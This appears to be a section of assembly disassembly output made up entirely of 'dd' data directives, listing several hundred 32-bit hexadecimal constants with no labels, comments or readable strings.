		dd 1B0FFB35h, 151226FAh, 0F5017310h, 4FF2576Eh,	22DD1882h
		dd 0EBE8593Eh, 0E0820226h, 34FDFA6Dh, 0EE8C9DF9h, 52E99E42h
		dd 0D2E7AED7h, 7A80EF05h, 89E4BFC7h, 0FD2F99FEh, 586A2C54h
		dd 5AF8921Dh, 0ED97061Dh, 35701DDEh, 8F2BE4Ah, 0AD030D08h
		dd 0E032822Dh, 0B6D82930h, 1DF2C27Ch, 0FA046809h, 95ED72FFh
		dd 0EE105EDEh, 8F049448h, 0C028400Ah, 742B9A4Fh, 230C766Fh
		dd 47D711Bh, 1425D624h,	8750BA0Bh, 141C6808h, 5FE0E90Bh
		dd 10435EC8h, 2975B211h, 689D0A31h, 0EA32A09h, 915A4A7Eh
		dd 2EEDF05Fh, 0E7F73F88h
		dd 0F3FCEC2Eh, 102EAB68h, 2C33DEDh, 23BFF5BBh, 2F8EF58Eh
		dd 91EBDD6Fh, 0CE4E862Fh, 171F4E4h, 3D287FBFh, 0BA96788Bh
		dd 0D8C98048h, 70D3FD25h, 0CB7897D7h, 0BEC44C97h, 16A2C23Eh
		dd 0C35A6602h, 26EFAC4h, 9AC1D1F7h, 0D00F94F2h,	0AFE14AFBh
		dd 7B5DB32Bh, 5FF41C25h, 34D16F99h, 9C174F45h, 3CB18183h
		dd 7FD2E561h, 7857353Ah, 1143722h, 0E6A863C5h, 0C5800C0Fh
		dd 9496DEDCh, 157DA920h, 31060595h, 41555AD5h, 90685DB3h
		dd 0EEA67A29h, 9F50BA79h, 8B83F278h, 0DFBEA607h, 5CC90152h
		dd 0C3CE8203h, 0CD608A62h, 26C0F0B3h, 0A20FA32Dh, 5285BC29h
		dd 0D19FECD8h, 0FA06E90Ah, 0BD027B4Dh, 20CB6E61h, 8CE5C21h
		dd 3114D530h, 2405028Ah, 545136F1h, 0B752848h, 7CC73A41h
		dd 2F0A6821h, 390C8263h, 48059A33h, 0C0C023E9h,	6D7FCA7Bh
		dd 424B1031h, 0D1FBA3D3h, 0C12AE808h, 7FC8B1A4h, 7FC26932h
		dd 0BE809045h, 4C674EACh, 0A8F62881h, 0D9C20406h, 0F8178306h
		dd 958C1959h, 3332EB7Bh, 3F1BA069h, 6B4BC9E4h, 139208A6h
		dd 9A0152C2h, 591E12B6h, 353471BEh, 7B1F8BF2h, 0DA2F55CCh
		dd 0C93CE884h, 6CE42E49h, 9CE097CBh, 0E9125857h, 0D8EED01Dh
		dd 394DCEC7h, 21B802EAh, 57D255E8h, 7A917ED0h, 0A5DB1B42h
		dd 5CACFBDDh, 7FF381C0h, 3AB08555h, 0CABA749Fh,	7A2D0402h
		dd 0EDBD8088h, 0C3277D4Bh, 0BB526015h, 0CFE3C987h, 93E840F7h
		dd 0CC699D0Ah, 0CFB6C55Ah, 321AF1B0h, 0F73E200Bh, 3DEDF2D9h
		dd 5FB72277h, 8405DE20h, 4187FF4Eh, 49C20E40h, 7690B35h
		dd 8C5D767Ah, 0F6040621h, 78F414D4h, 0C3399421h, 696C15Bh
		dd 7F6B07FFh, 76AD5515h, 1E435826h, 0F17258B2h,	2D87CE5Bh
		dd 82E25247h, 61E67D47h, 89BF2F54h, 7E94E250h, 22412774h
		dd 0B04DCA20h, 0E4E5636Ch, 0F5E01969h, 0DD3F1189h, 0AE0E607Fh
		dd 0B076DC23h, 79A20B65h, 37C25A5Bh, 5F295C80h,	0FA971FB8h
		dd 0E9088162h, 0EB2C6A0h, 0ED80C5FEh, 2F689D3Eh, 0F4B648A0h
		dd 0C9E78850h, 86292BE7h, 4AF08B7Bh, 0EFCCBAE1h, 0D7E9272Ah
		dd 0DEF7FB82h, 5DA683DDh, 0B6AB84F5h, 0EB277CA6h, 45EBF921h
		dd 5EA440A9h, 16CBBD5Bh, 312AA50Ah, 8C469FC5h, 0C0FE0F79h
		dd 0BAD8B151h, 7CFCC688h, 281C6362h, 0C02D5E3h,	0EC57F18Eh
		dd 546839FDh, 0E483CD4Bh, 7C5F610Dh, 0B780AC84h, 98B4159Bh
		dd 5BE20946h, 0D5D97558h, 0D0C7B602h, 5B8CDF6Fh, 0BE0B5606h
		dd 80A96BD5h, 0BC59C64Eh, 291C0251h, 33BE9F1h, 0C2F3135Fh
		dd 7E0CD007h, 0C1E32747h, 722446FAh, 2D17464Ch,	0C33F09F1h
		dd 0F14F2ACCh, 302F6AFDh, 5D68D1C0h, 84FC3B4Dh,	6EACFA7Bh
		dd 97D4FB92h, 0D631BF82h, 30BE019Bh, 9F52802Eh,	7865C0A8h
		dd 0D3CC208Ch, 31BF4FAh, 0E93DE620h, 1AA7BDF5h,	0F897B2D0h
		dd 859C6AA6h, 13E9212Ch, 0CB68FE5Bh, 954F7097h,	34C56174h
		dd 82606AA1h, 46582D68h, 65808E98h, 2B1234Ch, 0E5032BF3h
		dd 50CD42Ch, 0FBF4BEE9h, 0FD4E3FDEh, 5AE93B5Dh,	956621F0h
		dd 5D78B8DCh, 51014915h, 385F5ACBh, 55E0EAh, 7D6BD168h
		dd 0CD815D70h, 0C3387402h, 8EBF5742h, 0F88D0BCFh, 91CDA33Bh
		dd 80E2083Bh, 0BE4DFE8Ah, 756BBF14h, 0E238C098h, 1DEDA4C4h
		dd 0E96634EFh, 5494A21Dh, 0CCD62FB5h, 0D24A7822h, 0F037E044h
		dd 80C98F90h, 303C1FC1h, 4A30BCBh, 75EA397Ch, 600DEE02h
		dd 0FF6D4137h, 601D03A8h, 0EDB92EFCh, 5A7A8B1Eh, 94C8AF25h
		dd 0D95B4FCCh, 603C90C0h, 0C46CC44Eh, 68C060C8h, 6FB16277h
		dd 0E4FA91B4h, 56725380h, 558B6803h, 205B45CDh,	5960EDD4h
		dd 80685C27h, 0E923A87Bh, 0FA829FA6h, 84D8885Ah, 97315D20h
		dd 33327D70h, 83C60C85h, 0F0E8CDAh, 6FF4870Ch, 0C7EF005Fh
		dd 1339F3Ch, 70E9F70Bh,	0EF66F2E3h, 4CA5FEE1h, 824E12DEh
		dd 0DC102868h, 349048BBh, 0F54A8132h, 0CCA920B4h, 0E74CE5B0h
		dd 0FB6D1078h, 5E56B800h, 96055C0Dh, 0FF344038h, 0D0C7882Bh
		dd 0BAF9412Fh, 0EBC502F3h, 620E20EEh, 332F2748h, 84FED90h
		dd 0C44A260Eh, 0B812CEB7h, 0EA427297h, 314BEB4Fh, 97DA78DBh
		dd 0E3907416h, 0F601EA01h, 7FF1E9D2h, 5083F27Bh, 25137971h
		dd 5D0F5283h, 0EB297311h, 5C61360Dh, 6D8B6E29h,	1ED7B7E2h
		dd 24E684BFh, 0C088A1F1h, 1D456851h, 201EDA9Bh,	0D9098793h
		dd 27D5F496h, 0E97036D4h, 8433BE6Ah, 0FF02F9E5h, 0A5E28404h
		dd 0C39D490Fh, 7F6377E8h, 399C32E1h, 23FD8h, 387DBBCBh
		dd 6AF3870Dh, 11A70646h, 0FA765AF5h, 9FDD3F6h, 6A041E0Bh
		dd 1A42837Ah, 2CAA0D4Fh, 782DE9DEh, 51C8D470h, 6836813Ch
		dd 67704CC2h, 0C0E0C26Eh, 45050C5Ah, 512F3274h,	0C48BD10Fh
		dd 0D2C236ACh, 20B4FA68h, 8E94BDB4h, 0F216273Fh, 56F705DDh
		dd 0C036BF26h, 0E32A9C9Eh, 52D1226h, 4393540h, 30655895h
		dd 4348B725h, 43C0FB15h, 2C01BDEEh, 31FE906Ah, 6825CB6Ch
		dd 4DA5F03Dh, 0D820E190h, 0ED70B788h, 64497395h, 0BAE495B6h
		dd 2630BB44h, 222139BBh, 18CB00A5h, 0E978AA31h,	2BA3413Dh
		dd 0AAD23AF6h, 4B6DF38Ch, 1FF6A429h, 0EEC1B5Ah,	0B8DA7712h
		dd 42BC93B5h, 79CD06B0h, 0C105CB7Eh, 0B781B86h,	0BBD94BBh
		dd 0C9575808h, 1DF01881h, 9F7B25Dh, 647CCC3Ah, 0D08D58FEh
		dd 996F3E5Ah, 8A6060A0h, 6BDE3F55h, 1CD835E8h, 168314E7h
		dd 0DC08690Ch, 0BD01552Ah, 1CD3129Ch, 520F587h,	0C64A8169h
		dd 1F13F980h, 1284D56h,	8748F1C2h, 7668C26Bh, 2431EC57h
		dd 67FA1A28h, 0BCA0955Fh, 0A5FE4D29h, 0C83EC2A9h, 0E001894Bh
		dd 98BD0CC9h, 4FF468F5h, 0AD75CC7Bh, 0E9097C43h, 0F15A6752h
		dd 42D3CFAh, 8DC6A13h, 0E985A508h, 0EA20C81Eh, 486B52B8h
		dd 0E706761Ch, 0C44A947h, 0FD36727Fh, 2DCA44A7h, 0B768D0D7h
		dd 0B83F6707h, 60CA3472h, 0E9550801h, 0CD6BC1A1h, 783D7E42h
		dd 9B20E82Ch, 89C55F50h, 8048867Bh, 0B3905F9Fh,	0BF6A7151h
		dd 0D1E79578h, 376320B6h, 0C9ED8460h, 14EB036Fh, 0CAE1C119h
		dd 8C47FF17h, 34133B13h, 3DB84AEDh, 0C905E9F1h,	0D0377FF2h
		dd 10D91A2h, 33232E68h,	12114CACh, 0A7A39DB1h, 4911CA5Ah
		dd 9FD94B70h, 4FFAE14Ch, 0B40340B9h, 891FFE36h,	0AC2668BFh
		dd 6CA70510h, 5337BC68h, 944A865h, 74557E1Ch, 0CE9A53D3h
		dd 0F51D62FFh, 0E5419EE4h, 81E3FD2Bh, 165C37DBh, 52BB0840h
		dd 0EB155C1Ch, 0DFD5E9E1h, 3C5DEBEFh, 16858476h, 0D1D9E0E9h
		dd 0A02CC6h, 43A69BDh, 0EB3104A7h, 0FCD7BF5Dh, 250B2FC0h
		dd 7FC0B576h, 9D2EFC2Bh, 0F11915AEh, 0A4814465h, 4E5A7E28h
		dd 0EAA08159h, 350D0EA6h, 53434C20h, 6816D03Fh,	0C8CAAA2h
		dd 99A590AFh, 47310E64h, 825148A5h, 0A68F672h, 2CF0D788h
		dd 0F8281F13h, 4272E00Bh, 6634FDBDh, 0C709114Eh, 1830755Ah
		dd 0DC82E88Bh, 14A9CF31h, 74EA37D4h, 0FC4EC810h, 59E9F1C0h
		dd 94A4A93Fh, 579099Ch,	51575C01h, 0F8CA757Fh, 79B559CBh
		dd 5453621Bh, 321C90DFh, 0E0558244h, 58D73A14h,	0BD05186Ah
		dd 0C020634Eh, 0EA4CFBABh, 100C2A62h, 0E184354h, 0AE22125Ah
		dd 0AE41BB77h, 683F62F8h, 90E8B33Bh, 55C04F0Fh,	5F0B3135h
		dd 4002E953h, 7C5AE908h, 95768DC4h, 79FB95FEh, 0D650E98Eh
		dd 0CEC5E121h, 0F5C36D93h, 0CAB2A7D2h, 0F0B60EDEh, 980135Fh
		dd 912AB009h, 0C29F0B5Ch, 0F9FDAB27h, 0EBDA0D43h, 0FF290957h
		dd 287B2E39h, 89A15EE1h
		dd 1DC06461h, 0F03B5E82h, 0C704817Ah, 2C483F4Bh, 0B19E10FFh
		dd 0B35B6A05h, 354BC110h, 61B07A5Dh, 0E104E3E6h, 5DF9E906h
		dd 0B71F2480h, 77560219h, 0DAFB3D4h, 594A7942h,	5C728075h
		dd 1C813D41h, 0CE1D78EFh, 4C9C177h, 471F45FEh, 5C40CF41h
		dd 0A4BA32A3h, 0C0C8012h, 92A5F882h, 72581E0Bh,	5AFA8B43h
		dd 6E72D53h, 757292F7h,	13126F5Bh, 0B256BBC3h, 0FCC4D5E4h
		dd 0A410CE0Fh, 0C0456B25h, 0E4D5F611h, 0B665EDDh, 0EF445E2Ah
		dd 0BB74F818h, 5F75BAE2h, 9E6407B0h, 0C71C555h,	0B15651DCh
		dd 21232405h, 69C2D989h, 51ED18Ah, 0F9270568h, 0BBD9A480h
		dd 80F2947Eh, 0E3DDE96Dh, 689F389Fh, 0F7071310h, 7E17050Eh
		dd 0BA1162A6h, 5CDCC4C0h, 0FAB562B7h, 77E97190h, 0D82DDD04h
		dd 0C580A78Ch, 0B252EF02h, 91DAF688h, 0E5648626h, 101FD84h
		dd 776FDCDAh, 8766595h,	635260D7h, 8F68E9C7h, 142EA274h
		dd 0DD7BF50Ah, 76F3FC2Fh, 431795A6h, 26D876A2h,	0CB482DF8h
		dd 94EB2826h, 7E56CC2Dh, 1508A01Ah, 0B7D9E957h,	41F90916h
		dd 0C60573E3h, 85E32F39h, 0C801FE4Ah, 14CB3E85h, 18BBCDF8h
		dd 2817B129h, 63F258D1h, 5F13D89Dh, 150B0409h, 0E7C1021Bh
		dd 0ED334108h, 417FBB8Bh, 0B652BC98h, 0F0889F04h, 60BA285Ah
		dd 5BDC304Ah, 0AD8D69Dh, 828E0B9Ch, 611F0685h, 774AC2D7h
		dd 0BD923B04h, 0A1DD1061h, 0EFDE9D7Dh, 0B04D5752h, 675E6804h
		dd 0C413BBE3h, 66FC914Bh, 3FA77FE4h, 0BAC6277Bh, 0C05AF51h
		dd 42AF5A5Eh, 0D4C68C1h, 0B5C4B4DFh, 5C5A60DEh,	16A53E3Bh
		dd 0DCEFEE69h, 69D7809Ah, 451672A8h, 0D356E3E7h, 57AB92BAh
		dd 0ED8F98DEh, 58700B71h, 11F580DEh, 1E6D2D72h,	25121CC0h
		dd 64021295h, 47B90B0Bh, 824A5155h, 1205E304h, 92F9B313h
		dd 0F8B4CC58h, 0AC681677h, 4CA7B84h, 98C28100h,	0E937723Bh
		dd 0ED16B25Ah, 4A6B2B41h, 3B212381h, 0BA800204h, 7E635362h
		dd 46CA0721h, 6037804Dh, 433239E2h, 290C5A60h, 3B7A103Eh
		dd 304A2768h, 0A13A3824h, 0EF315424h, 0FC6CA40Bh, 7C7A435Bh
		dd 58570698h, 52505F1Dh, 0A0EC5A12h, 5D8192C9h,	6F9F27D5h
		dd 0B5232503h, 6009FA61h, 17D025E3h, 374206h, 725C22F4h
		dd 826E927h, 0DDC93A6Ah, 0E7626A32h, 0E583C374h, 0D9028977h
		dd 30139A4Ah, 0E85DF4BAh, 0E53C22Ah, 29209ED3h,	4BD7E396h
		dd 0C659EE1h, 4342E3Fh,	59204F01h, 870B34EAh, 2A1A49FEh
		dd 62715B5Fh, 835F06E9h, 0BAA3B67Dh, 8708D778h,	0AD87494Ch
		dd 688D8244h, 0B9A33760h, 7DE2DD82h, 34A17B7Fh,	0F15CC577h
		dd 8D328B00h, 53F654C4h, 7FEDDFE1h, 0F02E02CDh,	0A76D36EDh
		dd 0C4205E16h, 8E989713h, 80267ED0h, 925B2E4h, 0C9F4DE5Ch
		dd 59CC58DEh, 0A4681353h, 588D8C12h, 5C1B3417h,	0CE6EBCF5h
		dd 0E8E67A1Eh, 8E2D053Eh, 0AF15794Ch, 0E4CD0C30h, 0DDF64FA6h
		dd 0FA7DCAC7h, 0BEF9205Ch, 7D18409Fh, 4625242Ah, 34518AD5h
		dd 0BE5C445Fh, 9BB19800h, 1649F180h, 273BB3E9h,	3041813Bh
		dd 0F3D5303Ah, 0FEE63702h, 845DEE31h, 9CA85EBBh, 7F4041C9h
		dd 75539968h, 524E7D9Fh, 0FD82205Dh, 0FF8CCEBCh, 0E8C698E9h
		dd 9112EFh, 0CBEF5545h,	0CE4A388Ch, 3C88C320h, 6A18F687h
		dd 3EA887D9h, 0B3534405h, 4709EB78h, 28F7E166h,	9E8A9143h
		dd 80020E65h, 0C366B7E3h, 0C8E03D5Eh, 3A822C39h, 25C23B44h
		dd 709A5F4Ah, 8C99DBD7h, 31602F2Eh, 0C3B9D85Ah,	89EAF1C5h
		dd 0F7263064h, 731C350Bh, 0FC100B17h, 40F283AFh, 0ECCCC83Ah
		dd 8F0139BBh, 89E90B31h, 3C02B18Fh, 25B7D004h, 7540F87Ch
		dd 0C00DD321h, 5B3971ACh, 4841294Ah, 49BC5C0Ch,	51500220h
		dd 0E43E08B8h, 9C5ADE81h, 0E7975F44h, 9706A917h, 36FC0BEAh
		dd 42903D66h, 5ECCE52h,	0C037D10Dh, 3F03EAE8h, 0CB8962B2h
		dd 3ED017E9h, 3901C8F3h, 4F2B6B68h, 8AAD6B51h, 0ED0E1648h
		dd 0CB9ED6A0h, 927D7C3Ah, 8FD9571Ch, 107C184h, 2C8519ACh
		dd 3674AB10h, 8053A2AFh, 56A603D3h, 641013BBh, 0E988E42Dh
		dd 2DB9EA20h, 0B0776668h, 5E9B6B72h, 2761F609h,	0E982E0D1h
		dd 0E8C2979Fh, 0C55861D6h, 0A203202h, 94A7E126h, 596420F6h
		dd 0F17D2169h, 1B13CB5Ah, 5BAB2BBEh, 0E917CCA6h, 0BA19801Fh
		dd 2373B69Dh, 0D7738995h, 86E91E18h, 5625599Eh,	437978D6h
		dd 0AC2D7FE1h, 0D86FF025h, 305A053Dh, 0E90D84F6h, 6B92C567h
		dd 7B2DA3F0h, 109048F4h, 0E93D8D12h, 36885F7h, 334093D9h
		dd 0B3774CDh, 39E94F25h, 0BCF5DF62h, 38E9255Ch,	0E44295FEh
		dd 0FC3FE6B7h, 4B019F03h, 0BDEE2959h, 50D2A5C7h, 75680520h
		dd 0C23D2C74h, 56F01049h, 70B15E9Fh, 0E6BDBC53h, 95FAF2E0h
		dd 91549A29h, 60BBE417h, 84EA81D4h, 183E4512h, 0A81DE3A8h
		dd 8C5E6705h, 0B9039AEAh, 272F014h, 4C6F670Ch, 62772978h
		dd 0E2080C9Fh, 0CAF7483Fh, 9916CE83h, 38564FDAh, 220CD209h
		dd 0F2BAD5Eh, 1641C45h,	3A60A118h, 69E07E40h, 20F29041h
		dd 0C01DFE17h, 0C39B04E3h, 684DE204h, 0B5736849h, 12D5EDC2h
		dd 0A97F7BFh, 67B4A920h, 0BC025525h, 0BE00BBB2h, 9D37580Eh
		dd 0D909F458h, 85699660h, 36EE0164h, 0D06332A2h, 27334787h
		dd 0D8092FD3h, 0BF79967Fh, 820D52E7h, 0F7613D4Ah, 0BB6B526Fh
		dd 0ED38FC29h, 833DA24Eh, 17F925E9h, 0AA5AD139h, 0D275D9C0h
		dd 29D31896h, 0A4E98FCFh, 578DE75Fh, 9EFAAE5h, 7EDC1AEh
		dd 44094C78h, 0D00C48ADh, 0C7312226h, 7D1DE915h, 5F497865h
		dd 0A9832C92h, 781D3501h, 65F57AA8h, 52ADF250h,	403602BAh
		dd 0EE81564Dh, 6D2678C0h, 5FB0E91Ah, 0F2C0024Fh, 0F5BC0CBAh
		dd 0E728A813h, 0BBB940AEh, 25175E4Fh, 36410A90h, 4226807Bh
		dd 73607C6Dh, 7B05E30Ch, 0ECC19D75h, 0C0846EFh,	525B1480h
		dd 510278B8h, 0E95AF66Ch, 977B7007h, 7892E8E0h,	0E2F8BBE8h
		dd 0F2BC35F1h, 521F2454h, 545EBA47h, 179C2FDCh,	0FDC3E933h
		dd 90F33BAAh, 5C2D7AEEh, 1249D676h, 7B76568Eh, 0B5FF4420h
		dd 6CB4A768h, 1EE75582h, 34595025h, 0EB5ED18Ah,	30A21F56h
		dd 1AC63C19h, 92ADDB55h, 2FE15651h, 6BCF2F5Dh, 0BBB5E548h
		dd 0CB5A81DFh, 12B44869h, 0FDD3B44Ah, 595FFA1h,	8CCAABF1h
		dd 0E20F1C08h, 0AE46484Fh, 0C3075B04h, 5897BA24h, 0D33BE0F0h
		dd 0DA36C145h, 3B768809h, 7918F38Bh, 0F3EA6F65h, 52361D13h
		dd 0C1B165BFh, 3B8E30E5h, 88BFB230h, 7E492702h,	0F6A71FD9h
		dd 45E94206h, 0B8706B78h, 6FC80FA1h, 0E90916A3h, 0D7FC1E16h
		dd 40F5162h, 0BF59C4C1h, 0A76FAF2h, 9D0950EBh, 2DC60B81h
		dd 46CFCDF4h, 753D0506h, 0BDE6E6EEh, 67E413D8h,	0E92E3704h
		dd 0E9B4F8F0h, 4C7371F7h, 0F425944Eh, 5D5F33F0h, 0AF84E4C5h
		dd 80C694AAh, 21727725h, 0AEE990C0h, 98A6E51Ch,	9ACDEE0Ch
		dd 0F0304A3Ah, 0EA447D1Ch, 0F82FFFF7h, 0C42CB962h, 92918C16h
		dd 21278003h, 1C1A55C9h, 101E9F01h, 0F2AA7091h,	0A9193A50h
		dd 144C32F2h, 3F8984AFh, 88C546EEh, 5E5FE0C0h, 0F9C0FCF2h
		dd 5F595D51h, 44BB5B5Eh, 0D2B8E9B0h, 0D2C0D1D0h, 9F1708EAh
		dd 43AB3FE6h, 759CEB2Eh, 0A8DF4C8Ah, 2225082Dh,	92674ED3h
		dd 8068C4DEh, 1715C2A8h, 90093979h, 0A9A82F62h,	2779DC48h
		dd 7289549Fh, 73148155h, 0B13F0142h, 0AA0804A6h, 5C8982B2h
		dd 0EC64D5F9h, 2ABAB131h, 0A585E525h, 785D4ABBh, 2A6A4ACh
		dd 23965DA7h, 7427D6F4h
		dd 52584258h, 0A0825E7Ch, 0CA5FF028h, 231F8003h, 0B55A1808h
		dd 0F2D14BC1h, 0F43D0DC0h, 502D532Fh, 0C76A26F1h, 13CA9340h
		dd 0C6E0D1CCh, 0E499E849h, 5B5FFEB8h, 41BC28CCh, 0DD2A40FBh
		dd 255B8B7Ch, 70994841h, 846BE70Bh, 2502F154h, 49C50293h
		dd 64EF3B5Eh, 0E0B357A2h, 0A2AE3F12h, 17EA4E6Eh, 0C49BABD3h
		dd 684A424Fh, 2C8B177Ch, 49B77C70h, 0A82A5EEEh,	6A3A0FDAh
		dd 5BB817B4h, 92CABE01h, 2129B687h, 0C599432Ah,	0C6FE4416h
		dd 3F8E39AFh, 306FF8F5h, 0E9D5F6D5h, 0E50C9830h, 274E6BF3h
		dd 6EE11BB6h, 3ED6121h,	0FB1B3CCh, 812306Ch, 0FA27E918h
		dd 66857ABh, 0E7328B6h,	115A4E5Fh, 972D4B2Ch, 67902252h
		dd 529ACCB0h, 0A003F19Dh, 56EF1EE2h, 88DDE509h,	65250823h
		dd 0BF3315E2h, 35BF4612h, 0BE20548h, 8F9EEC05h,	0C9B847D2h
		dd 0F56811A0h, 7743BD7Eh, 0A3EC0F5Fh, 425AC1B4h, 2A302E61h
		dd 13265DAAh, 24FBE970h, 611D5056h, 52C257Fh, 194D919Bh
		dd 2ECF0214h, 5C295B38h, 1708203Eh, 0B86C9FE9h,	0D606C95Bh
		dd 0C1E62FE3h, 0B9BDC1BFh, 35A0F20h, 0E940478Fh, 6127B0E7h
		dd 76BCF2C3h, 20B3B829h, 5A5CD437h, 974F4D12h, 811C35EAh
		dd 72128A19h, 0ED810FFAh, 6ED704E6h, 0E57837BFh, 157BBCD5h
		dd 0E81A4D6h, 997B2F68h, 1B60B0A3h, 0DFC27288h,	1E58132Ch
		dd 0C2EB5E0Fh, 0B049E9D8h, 0E2091B57h, 35B6C0Fh, 50753C15h
		dd 412D3F7h, 0A7F518E9h, 1D72FC70h, 0BF53DD15h,	38582E00h
		dd 92B85019h, 62007FF8h, 6E55B62Dh, 13130D23h, 0E2CEF30h
		dd 0EF13DB8Fh, 1D58C7CBh, 486E5B27h, 9CA15950h,	2A5F629Fh
		dd 0C314D671h, 4FE90824h, 0E1C005B2h, 0F9890405h, 9AE92015h
		dd 9051BAE2h, 18AE802Dh, 0E078B534h, 0E1DBFE20h, 7F66E16Fh
		dd 0F24F6CB6h, 0F731C4E3h, 0A9C54209h, 752DD582h, 0E3AFD538h
		dd 0B210C789h, 0E12756A5h, 0B6BA5866h, 20418142h, 0A05D162Dh
		dd 3CC4079Ah, 28A459A4h, 0D02B5BFAh, 332508F2h,	0FC415F2Fh
		dd 1FF025A7h, 180BC780h, 3719B20h, 7AE207FAh, 400D8F7h
		dd 0BD4FE605h, 28F3574h, 0E9F33C7Bh, 0AF6520D4h, 0ECFBC825h
		dd 6810C235h, 0AA715FDDh, 572F8B9Dh, 662C16B4h,	0B043E1DCh
		dd 0BF0C0232h, 519C5D2Dh, 0F74FFB61h, 8E80FCA2h, 0CD16BE66h
		dd 0BB1E5375h, 0A6646D20h, 0A0E353Ch, 0E14A9F82h, 4BF4DB4Ch
		dd 206CE3E9h, 8BD5426h,	0BD1F1011h, 46EA3281h, 842EDDF7h
		dd 0C25FC5Ah, 87923BE9h, 2B251E53h, 3AD58963h, 342C14B0h
		dd 81758E00h, 6A03F8CAh, 0B00CC570h, 0F7C90438h, 0A01AC0DAh
		dd 8D5E3750h, 0B570C0ACh, 0F65A284h, 0C5746402h, 4B9E0112h
		dd 0D83F9E68h, 3A0723E6h, 5346245Eh, 6E5B3EB0h,	59C0B76Dh
		dd 58504712h, 184188BBh, 896AE82Ah, 72A2740Ch, 42DEC5F5h
		dd 1A7DCEE4h, 0A8ECC505h, 44A80929h, 0EF007645h, 7CC06E0Bh
		dd 275DE080h, 0BF78AB6h, 0FAC67F66h, 0E24B802Eh, 0E35F6340h
		dd 9F2D0075h, 0E961821Ch, 65B52CB6h, 0BBC1160Ah, 0D92089CBh
		dd 7BE9A4C2h, 0A1359026h, 47BF80ADh, 1FC65F17h,	0D431B0Ch
		dd 755C9F89h, 5C027752h, 1FD09168h, 5F6B9785h, 0EC9E9DA2h
		dd 0AF495C09h, 595EED72h, 27D139BBh, 882A1566h,	2499EBAh
		dd 54BA9ABEh, 0C54A88BBh, 76D30B2Dh, 42D57A02h,	7EE475A7h
		dd 0EE5BFE90h, 7B4929FBh, 5516B7F6h, 0F0684EEFh, 80D6A7EAh
		dd 88B8EC80h, 48B858E6h, 0E9057591h, 0BA33C15Ah, 75C4C45Fh
		dd 0A5F8BAEh, 6303EFC1h, 1858E08h, 0A45C2C05h, 394C9118h
		dd 855FFB16h, 78B3BEFAh, 2E41C227h, 0CBAB2C50h,	527B8A52h
		dd 0FE9D702h, 44550BD6h, 9BF1FD7Ah, 0E18919FFh,	42080604h
		dd 2A6A9947h, 500AF51h,	3CCB5EE7h, 7629002Dh, 0E80154B5h
		dd 575B6A68h, 55BBF30h,	0B1075BFBh, 40AE656Dh, 5A69E06Eh
		dd 0DF852E5Fh, 7FEAE502h, 0C6E16137h, 0FF7C13D4h, 6B76F8F3h
		dd 586FB848h, 0C084B0F7h, 0C7830210h, 5B89D001h, 0B8818046h
		dd 295E4C37h, 48067081h, 1203089Dh, 0DDFC17E9h,	7BE0CDAEh
		dd 0E192FDB3h, 0D0306C92h, 0B2371095h, 0A468814Bh, 4B1205CBh
		dd 0FC92D9AEh, 899156EDh, 839CCF01h, 0BD3B89BFh, 808A27FBh
		dd 2272D76h, 51800FAh, 58D53A8Ch, 44F9F029h, 17298407h
		dd 8C5E112h, 6F4C2C86h,	95B2B409h, 0CBCEE909h, 5A36B668h
		dd 0BE430505h, 0AC177565h, 0C0AF5CEFh, 41044E34h, 0E63DC146h
		dd 64F60407h, 5CC2CFF7h, 9FB25449h, 8B31C4BFh, 4A92BA0Eh
		dd 0D0AD645Fh, 29100F64h, 0C559274Ch, 55580A98h, 4C6F08A7h
		dd 0A4B35300h, 25C0CBFEh, 0CF4006EBh, 1C97CED2h, 0A316BF59h
		dd 4631F825h, 72E600BBh, 0E0C1799Ah, 0D000F702h, 40C60548h
		dd 0EAE92E80h, 0FFD2D2D8h, 8D310A79h, 685C8E50h, 441ABF0Eh
		dd 0F30A607Dh, 0ED2FF767h, 0E38B9F23h, 0C20F567Ch, 7D12BD55h
		dd 96FDD189h, 0EDBE20C0h, 3A95C4Eh, 63FC21E5h, 6D352B9Bh
		dd 415CE1FCh, 7E9D2D5Ah, 75E9BEC0h, 6240B6B5h, 0BB0002E5h
		dd 9DF84EE8h, 51AA0BF0h, 0EB9BE55Fh, 64AAB04h, 0F47F5F53h
		dd 6BED58F6h, 3B187681h, 2D196038h, 40796402h, 75CA57E9h
		dd 1108BE71h, 793728DEh, 7420261Bh, 0EC479692h,	6A204A5Eh
		dd 40AACECh, 0A9E95EDBh, 3E56DDEFh, 6507B43h, 0C501B3B6h
		dd 174034BBh, 24CEBE0Ch, 50F1A34Ah, 0A44121EAh,	0BE5AE07Bh
		dd 0A461D441h, 0B33953F8h, 18680453h, 0FB8ABA3Fh, 163CBE5Bh
		dd 8ADC4EA9h, 5DEA17F3h, 42E67004h, 2CC636E8h, 43507EC2h
		dd 4938EDADh, 256DC838h, 48DA4C63h, 0BB817656h,	0F78D3CDFh
		dd 7AE58005h, 16C66331h, 44420F1Ch, 0F3C06A07h,	9363EA7h
		dd 5B4C297Eh, 54AE44B1h, 0EB6F9FB9h, 13165E76h,	0B1D3EC5Ch
		dd 0CE2605DDh, 0C96EAB05h, 0DA00EE73h, 90C8522h, 0B27497F0h
		dd 67110269h, 0A05B067Ch, 42028B0Fh, 12B18F27h,	0B7C6EAE8h
		dd 0C8B281CFh, 1C966814h, 6273813Ah, 96404184h,	1D0E0CFEh
		dd 84F58148h, 817A931Dh, 472E4E49h, 0A8EDC48Ah,	0AC1384BAh
		dd 1210AD14h, 1B813E1h,	0D344B8h, 0D72B5A62h, 555C460Bh
		dd 0C28320D6h, 8228DBE4h, 0A655A78Bh, 503D4717h, 976BCFF1h
		dd 36421971h, 0B0F7B130h, 0AB4F847Ah, 0E7D638A2h, 2EF0209Dh
		dd 139656B2h, 0FCB30Eh,	6B5A27D1h, 28EFE581h, 5F92953h
		dd 0A930C5EDh, 7780FB57h, 0B5D5F74Dh, 33051500h, 0E09D4B51h
		dd 3F51DACh, 7DB1257Ah,	0A0A83128h, 5F4A1E49h, 2E02DA4h
		dd 12463506h, 89552BCAh, 969B5F69h, 53A290B7h, 3AFFAD2Ch
		dd 0E981ED97h, 0E33A7B7Dh, 2F9490C6h, 1273C8B5h, 52B13D42h
		dd 61862F92h, 7B2A4436h, 0B75FCB28h, 0E961DCE5h, 0F22A9F85h
		dd 8EB02D2h, 4113B82Ch,	0C93E1A80h, 9050308Dh, 91A2094Eh
		dd 30891488h, 4964D5AEh, 1A623100h, 60F18164h, 6146279Bh
		dd 0B1A8D2D6h, 29AD0F9Bh, 0FE481EF5h, 17C1BC3Bh, 6A59D05Fh
